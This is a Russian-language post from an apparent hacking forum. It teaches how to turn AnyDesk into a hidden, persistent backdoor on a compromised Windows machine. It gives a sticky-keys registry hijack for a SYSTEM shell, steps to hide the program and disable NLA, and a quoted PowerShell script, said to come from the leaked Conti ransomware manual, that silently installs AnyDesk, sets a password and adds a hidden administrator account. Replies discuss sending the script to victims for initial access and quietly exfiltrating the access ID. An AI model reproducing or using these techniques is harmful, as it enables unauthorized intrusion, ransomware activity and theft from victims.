Статья Создание Бэкдора на базе AnyDesk в OS Windows.

Green Rog

HDD-drive
Пользователь
Регистрация
23.06.2022
Сообщения
25
Реакции
28
Всем привет. Не нашел чего-то похожего на форуме, так что поделюсь пожалуй сам.

Возможно Вы сталкивались с проблемой потери доступа к целевой машине.
Многие знают, что в OS Windows есть уязвимость при создании бэкдора через .exe файлы: sethc.exe – залипание клавиш, osk.exe – экранная клавиатура, Narrator.exe – экранный диктор, Magnify.exe – экранная лупа, DisplaySwitch.exe – переключение экрана. Путём не трудных манипуляций можно либо подменить данные .exe файлы на cmd.exe, либо через реестр добавить опцию debugger для этих .exe файлов.
Если у машины включен удалённый доступ бэкдор будет работать, но если RDP порт не проброшен через маршрутизатор, то в сеть он не выйдет и возможности подключиться из вне не будет. Заниматься проброской портов не всегда возможно.

Есть решение через программу удалённого доступа AnyDesk.

Плюсы:
- AnyDesk не будет свититься в трее других юзеров;
- AnyDesk не будет светиться в установленных программах машины;
- Подключение будет с полным контролем.

Минусы:
- процесс AnyDesk будет светиться только в диспетчере задач от system (если есть мысли как пофиксить такой момент, охотно послушаем).

Для начала нам всё же понадбится бэкдор на основе .exe файлов описаных выше. Как подменить сами файлы я описывать не стану. Проще внести изменения в реестр с помощью простой команды:
Код:
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f /v Debugger /t REG_SZ /d "%windir%\system32\cmd.exe"
Метод выполнения этой комманды на машине выбирайте сами для себя.
Удобнее всего ставить sethc.exe т.к. залипание клавиш работает без трудностей.

Теперь основная часть.

1. Для начала качаем AnyDesk с официального сайта www.anydesk.com;
2. Устанавливаем ее на целевую машину;
3. Выбираем директорию в которую будет установлена прога, чем дальше и запутаннее будет этот путь, тем лучше.
4. Снимаем все галочки созданий ярлыков и тп., убираем автоматическое обновление;
1.png

5. Переходим в настройки, вкладка безопасность;

2.png
3.png


6. Нажимаем изменить пароль доступа, задаём пароль для подключения и выбираем в профиле прав доступа "неконтролируемый доступ". Применяем;
4.png

7. Ниже проверяем галочки на режиме "приватности" и "созадать TCP тунели", снимаем галочку на "разрешить запись сеанса";
5.png

8. В самом низу убираем галочку "показывать онлайн-статус удаленных рабочих столов";
6.png

9. Закрываем настройки, переписываем ID AnyDesk, и закрываем окно программы;
http://xss.pro/attachments/42427/?hash=d38dfcdddab02fd505e9efecb49f1046
10. Теперь начинаем готовить машину. Сначала в свойствах системы отключаем авторизацию на уровне сети (NLA);
8.png

11. Переходим в папку с установленым AnyDesk
Открываем свойства приложения -> безопасность -> "дополнительно" -> отключаем наследование -> удаляем из списка все разрешения (пользователей) кроме SYSTEM, это не позволит грузиться AnyDesk в трей при входе местного пользователя через консоль или RDP. Сохраняем настройки;
9.png

10.png

11.png

12. Через диспетчер задач завершаем все процессы AnyDesk за исключением процесса запущенного от SYSTEM;
12.png

13. Остается удалить из панели управления информацию об установленной программе, это проще всего сделать через vbs скрипт.
Код скрипта:


После этих не хитрых операций, AnyDesk готов к эксплуатации. При подключении через AnyDesk Вы попадёте на экран залогинивания, где сможете подключиться от нужного Вам пользователя. Когда Вы залогинетесь в трее отобразится значок программы и будет запущен его дополнительный процесс от имени текущего пользователя. Чтоб не оставлять следов присутствия и не светить значок AnyDesk в трее, отключаться следует через полное завершение сеанса (команда: logoff). Если полное завершение сеанса нежелательно, следует создать новый сеанс в AnyDesk с использованием только цифр ID и подключиться к монитору консоли. В консольном соединении вызываем заранее установленный бэкдор на залипание клавиш, открываем Диспетчер задач и в нём завершаем все процессы AnyDesk кроме того, что запущен от системы.

Это вариант исполнения бэкдора именно на аньке, если есть чем дополнить такой способ, велком в комментарии.
Прекрасно знаю что есть еще тонна других способов закрепиться на машине, здесь рассмотрели конкретно этот.
 

Вложения

  • 1.png
    1.png
    6.9 КБ · Просмотры: 90
  • 7.png
    7.png
    1.6 КБ · Просмотры: 450
  • 9.png
    9.png
    11.3 КБ · Просмотры: 74
  • 7.png
    7.png
    1.6 КБ · Просмотры: 96
Привет! Большое спасибо за статью)
Закреп AnyDesk со слитого мануала Conti, может кому-то пригодится:
Код:
Function AnyDesk {

   mkdir "C:\ProgramData\AnyDesk"
   # Download AnyDesk
   $clnt = new-object System.Net.WebClient
   $url = "http://download.anydesk.com/AnyDesk.exe"
   $file = "C:\ProgramData\AnyDesk.exe"
   $clnt.DownloadFile($url,$file)


   cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent


   cmd.exe /c echo J9kzQ2Y0qO | C:\ProgramData\anydesk.exe --set-password


   net user oldadministrator "qc69t4B#Z0kE3" /add
   net localgroup Administrators oldadministrator /ADD
   reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f

   cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id

   }

   AnyDesk

Выполняем код в Powershell ISE Run As Admin
На выходе получаем ID
Сохраняем его к себе
На отдельном дедике\впс\виртуалке скачиваем Anydesk указываем ID
Жмем Console Account
Вводим пароль
Цитировать

J9kzQ2Y0qO

И далее авторизываемся локальным админом либо доменной учеткой и пользуемся прелестями Anydesk
Также можно скачать\загрузить на\с машину жертвы что бывает удобно в осмотре и поиске документации точечно.


Очень удобно)
Также в некоторых локалках трафик Anydesk режется (фильтруется) на фаерах. Так что не везде будет работать))
 
Последнее редактирование:
Круто! если 3389 не открыт, можно загнать AnyDesk через соц инжениринг )))
 
Привет! Большое спасибо за статью)
Закреп AnyDesk со слитого мануала Conti, может кому-то пригодится:
Код:
Function AnyDesk {

   mkdir "C:\ProgramData\AnyDesk"
   # Download AnyDesk
   $clnt = new-object System.Net.WebClient
   $url = "http://download.anydesk.com/AnyDesk.exe"
   $file = "C:\ProgramData\AnyDesk.exe"
   $clnt.DownloadFile($url,$file)


   cmd.exe /c C:\ProgramData\AnyDesk.exe --install C:\ProgramData\AnyDesk --start-with-win --silent


   cmd.exe /c echo J9kzQ2Y0qO | C:\ProgramData\anydesk.exe --set-password


   net user oldadministrator "qc69t4B#Z0kE3" /add
   net localgroup Administrators oldadministrator /ADD
   reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\Userlist" /v oldadministrator /t REG_DWORD /d 0 /f

   cmd.exe /c C:\ProgramData\AnyDesk.exe --get-id

   }

   AnyDesk

Выполняем код в Powershell ISE Run As Admin
На выходе получаем ID
Сохраняем его к себе
На отдельном дедике\впс\виртуалке скачиваем Anydesk указываем ID
Жмем Console Account
Вводим пароль
Цитировать

J9kzQ2Y0qO

И далее авторизываемся локальным админом либо доменной учеткой и пользуемся прелестями Anydesk
Также можно скачать\загрузить на\с машину жертвы что бывает удобно в осмотре и поиске документации точечно.


Очень удобно)
Также в некоторых локалках трафик Anydesk режется (фильтруется) на фаерах. Так что не везде будет работать))
А есть полный список слитых мануалов можешь в ЛС поделиться интересно посмотреть что там
 
А есть полный список слитых мануалов можешь в ЛС поделиться интересно посмотреть что там
https://xss.pro/threads/54874/page-5
тут можно найти
 
Последнее редактирование:
Если полученный ID отправлять на email или в телеграм, то можно использовать и для первичного доступа.
Компилируем код в exe , хоть в bat.
Отправляем жертве
При запуске файла, получаем ID , а пароль у нас уже есть.
Далее подключаемся, как и указано выше
 
Последнее редактирование:
Если полученный ID отправлять на email или в телеграм, то можно использовать и для первичного доступа.
Компилируем код в exe , хоть в bat.
Отправляем жертве
При запуске файла, получаем ID , а пароль у нас уже есть.
Далее подключаемся, как и указано выше
как реализовать отправку на емайл с минимальным палевом в конкретном примере? чтоб онли айдишник прилетал
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх